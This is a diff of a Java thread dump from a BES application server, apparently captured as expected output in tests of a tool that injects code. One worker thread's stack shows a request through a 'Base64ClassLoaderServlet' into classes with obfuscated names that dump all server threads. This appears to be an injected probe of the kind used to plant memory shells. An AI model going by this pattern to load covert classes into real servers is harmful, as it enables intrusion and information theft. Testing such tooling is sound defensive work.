at com.bes.enterprise.startup.ASMain.main(ASMain.java:29)
|
||||
|
||||
"httpWorkerThread-8080-7" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
||||
"RMI TCP Connection(1)-172.17.0.3" #96 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
||||
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
||||
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
||||
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1137156990.run(Unknown Source)
|
||||
at java.security.AccessController.doPrivileged(Native Method)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-8080-1" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
@@ -386,76 +406,135 @@ ThreadStacks:
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"ReadWriteBlockThread-0" #17 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
|
||||
|
||||
"Spark_3" #95 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"Spark-Acceptor" #91 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||
at com.bes.ejb.spark.tcp.transport.AcceptorThread.a(AcceptorThread.java:274)
|
||||
at com.bes.ejb.spark.tcp.transport.AcceptorThread.startEndpoint(AcceptorThread.java:423)
|
||||
at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508)
|
||||
|
||||
"Spark_4" #96 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"SelectorReaderThread-8080-1" #84 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"SelectorReaderThread-1900-1" #81 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"FlushManager" #59 daemon [TIMED_WAITING]
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[]]" #82 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager.run(LogBufferManager.java:1230)
|
||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-8080-8" #80 daemon [RUNNABLE]
|
||||
"jmsra-WorkerThread-2" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RMI RenewClean-[172.17.0.3:6600]" #98 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@44a4354d
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Spark_5" #91 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"jmsra-WorkerThread-3" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-1900-4" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #62 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-8080-6" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-1900-1" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Spark_2" #88 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"AcceptorThread-8080-1" #79 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-8080-7" #73 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.lang.Thread.dumpThreads(Native Method)
|
||||
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
||||
at com.google.gso.IyIWG.ErrorHandler.toString(BasicInfoPrinter.java:26)
|
||||
at com.google.gso.kctIl.ErrorGmnwfHandler.toString(BasicInfoPrinter.java:26)
|
||||
at java.lang.String.valueOf(String.java:2994)
|
||||
at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240)
|
||||
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:229)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||
at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:48)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||
at EmptyFilter.doFilter(EmptyFilter.java:21)
|
||||
at EmptyFilter.doFilter(EmptyFilter.java:12)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||
at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:194)
|
||||
@@ -477,74 +556,41 @@ ThreadStacks:
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-8080-2" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
||||
"LifecycleThread[com.bes.appserv]-1" #61 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23b28c2c
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Spark_3" #89 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"RetryTimer" #54 daemon [WAITING] on java.util.TaskQueue@3cc56fc1
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Spark_6" #98 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:526)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"AsyncTimeoutThread-1900" #83 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169)
|
||||
"SelectorReaderThread-1900-1" #75 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Common Lib Watcher" #15 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:91)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[/sysapp]]" #89 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Spark_1" #93 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"Stateful cache" #65 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a3bf06f
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RMI Scheduler(0)" #103 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e258731
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"AcceptorThread-1900-1" #82 daemon [RUNNABLE]
|
||||
"AcceptorThread-1900-1" #76 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||
@@ -552,7 +598,7 @@ ThreadStacks:
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"jmsra-WorkerThread-3" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35
|
||||
"httpWorkerThread-8080-5" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
@@ -566,7 +612,45 @@ ThreadStacks:
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-8080-1" #73 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
||||
"SelectorReaderThread-8080-1" #78 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RMI TCP Accept-6600" #94 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
|
||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"bes-deployment-scheduled-executor-thread." #84 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@46f1b5d7
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"AsyncTimeoutThread-1900" #77 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-8080-4" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
@@ -580,13 +664,22 @@ ThreadStacks:
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Spark_5" #97 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
||||
"KeepAliveTimer" #60 daemon [TIMED_WAITING] on java.util.TaskQueue@239afe19
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
